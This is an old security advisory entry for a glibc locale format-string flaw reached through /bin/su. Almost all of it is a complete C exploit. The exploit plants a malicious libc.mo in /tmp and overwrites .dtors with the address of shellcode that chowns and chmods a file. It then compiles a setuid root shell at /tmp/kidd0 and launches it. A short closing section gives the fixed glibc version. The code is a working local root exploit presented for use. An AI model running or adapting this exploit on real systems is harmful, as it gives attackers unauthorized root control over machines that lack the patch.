COMMAND

    glibc (/bin/su)

SYSTEMS AFFECTED

    glibc

PROBLEM

    One more glibc exploit...  See previous afvisories...

    /*
     *
     *  Working exploit for glibc executing /bin/su
     *
     *  To exploit this i have used a technique that
     *  overwrites the .dtors section of /bin/su program
     *  with the address of the shellcode, so, the program
     *  executes it when main returns or exit() is called
     *
     *   Thanks a lot to rwxrwxrwx <jmbr@qualys.com> for
     *  explaining me this technique :)
     *
     *  The address of .dtors section can be easily obtained
     *  with objdump -h filename.
     *
     *  One the address of .dtors is known, the shellcode is
     *  pushed in a env var with a lot of nops, and the size
     *  of the "piece" of stack that must be "eaten" is calculated
     *  with a loop. At this point, we know the exact values of
     *  all parameters exept the address of the shellcode, but this
     *  value can be guessed with a little work :)
     *
     *  Tested on:       Red Hat 6.2, 6.1
     *                   SuSE 6.2
     *
     *  Thanks to Chui, aViNash, RaiSe, |CoDeX|, YbY... (y todos los que me olvido)
     *
     *
     *  Doing / localcore - doing@netsearch-ezine.com
     *
     */
    
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <string.h>
    #include <getopt.h>
    #include <dirent.h>
    
    char *shellcode =
    "\x31\xc0\x83\xc0\x17\x31\xdb\xcd\x80\xeb"
    "\x30\x5f\x31\xc9\x88\x4f\x17\x88\x4f\x1a"
    "\x8d\x5f\x10\x89\x1f\x8d\x47\x18\x89\x47"
    "\x04\x8d\x47\x1b\x89\x47\x08\x31\xc0\x89"
    "\x47\x0c\x8d\x0f\x8d\x57\x0c\x83\xc0\x0b"
    "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8"
    "\xcb\xff\xff\xff\x41\x41\x41\x41\x41\x41"
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
    "\x2f\x62\x69\x6e\x2f\x73\x68\x30\x2d\x63"
    "\x30"
    "chown root /tmp/kidd0;chmod 4777 /tmp/kidd0";
    
    char *LC_MESSAGES = "/tmp/LC_MESSAGES";
    int NOP_LEN = 12000;
    
    char *msgfmt = "/usr/bin/msgfmt";
    char *objdump = "/usr/bin/objdump";
    char *language = NULL;
    
    char *make_format_string(unsigned long, int, int);
    unsigned long get_dtors_addr();
    char *make_ret_str(unsigned long, int);
    void calculate_eat_space(int *, int *);
    void checkfor(char*);
    void make_suid_shell();
    void search_valid_language();
    
    int main(int argc, char **argv)
    {
      char execbuf[1024];
      unsigned long dtors_addr = 0xAABBCCDD;
      unsigned long sh_addr = 0xBFFFFFFF;
      FILE *f;
      char *env[3];
      char *args[6];
      int eat = 0, pad = 0, fd;
      char *nop_env;
      int offset = 5000;
      struct stat st;
      int pid, c;
      char randfile[1024];
      char *args2[2], opt;
    
      printf("glibc xploit for /bin/su - by Doing <jdoing@bigfoot.com>\n");
      printf("Usage: %s [options]\n", argv[0]);
      printf(" -o offset [default: 5000]\n");
      printf(" -n nops   [default: 12000]\n");
      printf(" -m path to msgfmt [default: /usr/bin/msgfmt]\n");
      printf(" -O path to objdump [default: /usr/bin/objdump]\n");
      printf(" -e eat:pad set eat and pad values [default: calculate them]\n");
      printf(" -l language set language used in env var [default: search it]\n");
      printf("Enjoy!\n\n");
    
      while ((opt = getopt(argc, argv, "o:n:m:O:e:l:")) != EOF)
        switch(opt) {
        case 'o':
          offset = atoi(optarg);
          break;
        case 'n':
          NOP_LEN = atoi(optarg);
          break;
        case 'm':
          msgfmt = strdup(optarg);
          break;
        case 'O':
          objdump = strdup(optarg);
          break;
        case 'e':
          sscanf(optarg, "%i:%i", &eat, &pad);
          break;
        case 'l':
          language = (char*) malloc(40 + strlen(optarg));
          if (!language) {
	    printf("malloc failed\naborting\n");
	    exit(0);
          }
          memset(language, 0, 40 + strlen(optarg));
          sprintf(language, "LANGUAGE=%s/../../../../../../tmp", optarg);
          break;
        default:
          exit(0);
        }
    
      printf("Phase 1. Checking paths and write permisions\n");
      printf(" Checking for %s...", msgfmt);
      checkfor(msgfmt);
      printf(" Checking for %s...", objdump);
      checkfor(objdump);
    
      printf(" Checking write permisions on /tmp...");
      if (stat("/tmp", &st) < 0) {
        printf("failed. cannot stat /tmp\naborting\n");
        exit(0);
      }
    
      if (!(st.st_mode & S_IWOTH)) {
        printf("failed. /tmp it's not +w\naborting\n");
        exit(0);
      }
      printf("Ok\n");
      fflush(stdout);
    
      printf(" Checking read permisions on /bin/su...");
      if (stat("/bin/su", &st) < 0) {
        printf("failed. cannot stat /bin/su\naborting\n");
        exit(0);
      }
    
      if (!(st.st_mode & S_IROTH)) {
        printf("failed. /bin/su it's not +r\naborting\n");
        exit(0);
      }
      printf("Ok\n");
      fflush(stdout);
    
      if (!language) {
        printf(" Checking for a valid language...");
        search_valid_language();
        printf("Ok\n");
      }
    
      printf(" Checking that %s does not exist...", LC_MESSAGES);
      if (stat(LC_MESSAGES, &st) >= 0) {
        printf("failed. %s exists\naborting\n", LC_MESSAGES);
        exit(0);
      }
      printf("Ok\n");
      fflush(stdout);
    
      printf("Phase 2. Calculating eat and pad values\n ");
      srand(time(NULL));
    
      if (eat || pad) printf("skkiping, values set by user to eat = %i and pad = %i\n", eat, pad);
      else {
        calculate_eat_space(&eat, &pad);
        printf("done\n eat = %i and pad = %i\n", eat, pad);
      }
      fflush(stdout);
    
      sh_addr -= offset;
    
      printf("Phase 3. Creating evil libc.mo and setting enviroment vars\n");
      fflush(stdout);
    
      mkdir(LC_MESSAGES, 0755);
      chdir(LC_MESSAGES);
    
      f = fopen("libc.po", "w+");
      if (!f) {
        perror("fopen()");
        exit(0);
      }
      fprintf(f,"msgid \"%%s: invalid option -- %%c\\n\"\n");
      fprintf(f,"msgstr \"%s\\n\"", make_format_string(sh_addr, eat, 0));
      fclose(f);
    
      sprintf(execbuf, "%s libc.po -o libc.mo; chmod 777 libc.mo", msgfmt);
      system(execbuf);
    
      nop_env = (char*) malloc(NOP_LEN + strlen(shellcode) + 1);
      if (!nop_env) {
        printf("malloc failed\naborting\n");
        exit(0);
      }
      memset(nop_env, 0x90, NOP_LEN + strlen(shellcode) + 1);
      sprintf(&nop_env[NOP_LEN], "%s", shellcode);
    
      env[0] = language;
      env[1] = NULL;
    
      printf("Phase 4. Getting address of .dtors section of /bin/su\n ");
      dtors_addr = get_dtors_addr();
      printf("done\n .dtors is at 0x%08x\n", dtors_addr);
      fflush(stdout);
    
      printf("Phase 5. Compiling suid shell\n");
      fflush(stdout);
    
      make_suid_shell();
    
      printf("Phase 6. Executing /bin/su\n");
      fflush(stdout);
    
      args[0] = "/bin/su";
      args[1] = "-";
      args[2] = make_ret_str(dtors_addr, pad);
      args[3] = "-w";
      args[4] = nop_env;
      args[5] = NULL;
    
      sprintf(randfile, "/tmp/tmprand%i", rand());
    
      if (!(pid = fork())) {
        close(1);
        close(2);
        fd = open(randfile, O_CREAT | O_RDWR);
        dup2(fd, 1);
        dup2(fd, 2);
        execve(args[0], args, env);
        printf("failed to exec /bin/su\n"); exit(0);
      }
    
      if (pid < 0) {
        perror("fork()");
        exit(0);
      }
    
      waitpid(pid, &c, 0);
    
      unlink(randfile);
    
      stat("/tmp/kidd0", &st);
      if (!(S_ISUID & st.st_mode)) {
        printf("failed to put mode 4777 to /tmp/kidd0\naborting\n");
        exit(0);
      }
    
      printf(" - Entering rootshell ;-) -\n");
      fflush(stdout);
    
      if (!(pid = fork())) {
        args2[0] = "/tmp/kidd0";
        args2[1] = NULL;
        execve(args2[0], args2, NULL);
        printf("failed to exec /tmp/kidd0\n");
        exit(0);
      }
    
      if (pid < 0) {
        perror("fork()");
        exit(0);
      }
    
      waitpid(pid, &c, 0);
    
      printf("Phase 7. Cleaning enviroment\n");
      sprintf(execbuf, "rm -rf %s /tmp/kidd0", LC_MESSAGES);
      system(execbuf);
    }
    
    char ret_make_format[0xffff];
    
    char *make_format_string(unsigned long sh_addr, int eat, int test)
    {
      char *ret = ret_make_format;
      int c, waste;
      int hi, lo;
    
      memset(ret, 0, 0xffff);
    
      for (c = 0; c < eat; c++) strcat(ret, "%8x");
    
      waste = 8 * eat;
    
      hi = (sh_addr & 0xffff0000) >> 16;
      lo = (sh_addr & 0xffff) - hi;
      if (!test) {
        sprintf(&ret[strlen(ret)], "%%0%ux%%hn", hi-waste);
        sprintf(&ret[strlen(ret)], "%%0%ux%%hn", lo);
      }
      else strcat(ret, "%8x *0x%08x* %8x *0x%08x*");
      return ret;
    }
    
    unsigned long get_dtors_addr()
    {
      char exec_buf[1024];
      char file[128];
      char buf[1024], sect[1024];
      FILE *f;
      unsigned long ret = 0, tmp1, tmp2, tmp3;
    
      sprintf(file, "/tmp/tmprand%i", rand());
      sprintf(exec_buf, "%s -h /bin/su > %s", objdump, file);
    
      system(exec_buf);
    
      f = fopen(file, "r");
      if (!f) {
        perror("fopen()");
        exit(0);
      }
    
      while (!feof(f)) {
        fgets(buf, 1024, f);
        sscanf(buf, "  %i .%s %x %x \n", &tmp1, sect, &tmp2, &tmp3);
        printf("."); fflush(stdout);
        if (strcmp(sect, "dtors")) continue;
        ret = tmp3;
        break;
      }
    
      unlink(file);
    
      if (!ret) {
        printf("error getting the address of .dtors\naborting");
        exit(0);
      }
    
      return ret+4;
    }
    
    char ret_make_ret_str[0xffff];
    
    char *make_ret_str(unsigned long dtors_addr, int pad)
    {
      char *ret = ret_make_ret_str, *ptr2;
      unsigned long *ptr = (unsigned long*) ret;
      int c;
    
      memset(ret, 0, 0xffff);
    
      *ptr = dtors_addr+2;
      *(ptr+1) = 0xAABBCCDD;
      *(ptr+2) = dtors_addr;
    
      ptr2 = &ret[strlen(ret)];
      while (pad--)
        *(ptr2++) = 0xaa;
    
      return ret;
    }
    
    void calculate_eat_space(int *eatr, int *padr)
    {
      int eat = 0, pad = 0;
      char tmpfile[128];
      FILE *f;
      char execbuf[1024];
      int fds[2], tmpfd;
      unsigned long test_value = 0xAABBCCDD;
      char *nop_env;
      char *env[2];
      char *args[6];
      char buf[1024];
      int l, pid;
      struct stat st;
      char *readbuf = NULL, *token;
      unsigned long t1, t2;
    
      tmpfile[0] = '\0';
    
      nop_env = (char*) malloc(NOP_LEN + strlen(shellcode) + 1);
      if (!nop_env) {
        printf("malloc failed\naborting\n");
        exit(0);
      }
      memset(nop_env, 0x90, NOP_LEN + strlen(shellcode) + 1);
      sprintf(&nop_env[NOP_LEN], "%s", shellcode);
    
      for (eat = 50; eat < 200; eat++) {
        for (pad = 0; pad < 4; pad++) {
    
          if (tmpfile[0]) unlink(tmpfile);
    
          chdir("/");
    
          sprintf(execbuf, "rm -rf %s", LC_MESSAGES);
          system(execbuf);
    
          mkdir(LC_MESSAGES, 0755);
          chdir(LC_MESSAGES);
    
          f = fopen("libc.po", "w+");
          if (!f) {
	    perror("fopen()");
	    exit(0);
          }
    
          fprintf(f,"msgid \"%%s: invalid option -- %%c\\n\"\n");
          fprintf(f,"msgstr \"%s\\n\"", make_format_string(0xbfffffbb, eat, 1));
          fclose(f);
    
          sprintf(execbuf, "chmod 777 libc.po; %s libc.po -o libc.mo", msgfmt);
          system(execbuf);
    
          pipe(&fds);
    
          if (!(pid = fork())) {
    
	    close(fds[0]);
	    close(1);
	    close(2);
    
	    dup2(fds[1], 1);
	    dup2(fds[1], 2);
    
	    env[0] = language;
	    env[1] = NULL;
    
	    args[0] = "/bin/su";
	    args[1] = "-";
	    args[2] = make_ret_str(test_value, pad);
	    args[3] = "-w";
	    args[4] = nop_env;
	    args[5] = NULL;
    
	    execve(args[0], args, env);
          }
    
          if (pid < 0) {
	    perror("fork()");
	    exit(0);
          }
    
          close(fds[1]);
    
          sprintf(tmpfile, "/tmp/tmprand%i", rand());
          tmpfd = open(tmpfile, O_RDWR | O_CREAT);
          if (tmpfd < 0) {
	    perror("open()");
	    exit(0);
          }
          while ((l = read(fds[0], buf, 1024)) > 0)
	    write(tmpfd, buf, l);
          close(tmpfd);
    
          waitpid(pid, &l, 0);
    
          stat(tmpfile, &st);
    
          chmod(tmpfile, 0777);
    
          f = fopen(tmpfile, "r");
          if (!f) {
	    perror("fopen()");
	    exit(0);
          }
    
          if (readbuf) free(readbuf);
          readbuf = (char*) malloc(st.st_size);
          if (!readbuf) {
	    printf("malloc failed\naborting\n");
	    exit(0);
          }
    
          memset(readbuf, 0, st.st_size);
    
          fread(readbuf, 1, st.st_size, f);
          fclose(f);
    
          token = strtok(readbuf, "*");
          if (!token) continue;
          token = strtok(NULL, "*");
          if (!token) continue;
    
          t1 = strtoul(token, NULL, 16);
          token = strtok(NULL, "*");
          if (!token) continue;
          token = strtok(NULL, "*");
          if (!token) continue;
          t2 = strtoul(token, NULL, 16);
    
          if (t2 == test_value)
	    if (t1 == (test_value+2)) {
	      *eatr = eat;
	      *padr = pad;
	      sprintf(execbuf, "rm -rf %s", LC_MESSAGES);
	      system(execbuf);
	      if (tmpfile[0]) unlink(tmpfile);
	      return;
	    }
    
          //      sleep(10);
        }
        printf(".");
        fflush(stdout);
      }
    
      if (tmpfile[0]) unlink(tmpfile);
      sprintf(execbuf, "rm -rf %s", LC_MESSAGES);
      system(execbuf);
    
      printf("failed to calculate eat and pad values. glibc patched or invalid language?\naborting\n");
      exit(0);
    }
    
    void checkfor(char *p)
    {
      int fd;
      fd = open(p, O_RDONLY);
      if (fd < 0) {
        printf("failed\naborting\n");
        exit(0);
      }
      close(fd);
      printf("Ok\n");
      fflush(stdout);
    }
    
    void make_suid_shell()
    {
      FILE *f;
      char execbuf[1024];
    
      f = fopen("/tmp/kidd0.c", "w");
      if (!f) {
        printf(" failed to create /tmp/kidd0.c\naborting\n");
        exit(0);
      }
    
      fprintf(f, "int main() { setuid(0); setgid(0); system(\"/bin/sh\");}");
      fclose(f);
    
      sprintf(execbuf, "gcc /tmp/kidd0.c -o /tmp/kidd0");
      system(execbuf);
    
      sprintf(execbuf, "rm -f /tmp/kidd0.c");
      system(execbuf);
    
      f = fopen("/tmp/kidd0", "r");
      if (!f) {
        printf(" failed to compile /tmp/kidd0.c\naborting\n");
        exit(0);
      }
      fclose(f);
    
      printf(" /tmp/kidd0 created Ok\n");
      fflush(stdout);
    }
    
    void search_valid_language()
    {
      DIR *locale;
      struct dirent *dentry;
    
      locale = opendir("/usr/share/locale");
      if (!locale) {
        perror("failed to opendir /usr/share/locale");
        printf("aborting\n");
        exit(0);
      }
    
      while (dentry = readdir(locale)) {
    
        if (!strchr(dentry->d_name, '_')) continue;
    
        language = (char*) malloc(40 + strlen(dentry->d_name));
        if (!language) {
          printf("malloc failed\naborting\n");
          exit(0);
        }
        memset(language, 0, 40 + strlen(dentry->d_name));
        sprintf(language, "LANGUAGE=%s/../../../../../../tmp",dentry->d_name);
        closedir(locale);
        printf(" [using %s] ", dentry->d_name);
        return;
      }
    
      printf("failed to find a valid language\naborting\n");
      exit(0);
    }

    This failed to work on Debian Gnu/Linux Potato (2.2r1).  The Stock
    version of Potato (2.2) should be vulnerable.

SOLUTION

    The bug was reported to  be fixed with glibc-2.1.3-12 (August  31)
    which  is  a  security  update  and  incorporated into 2.2r1.  See
    previous advisories.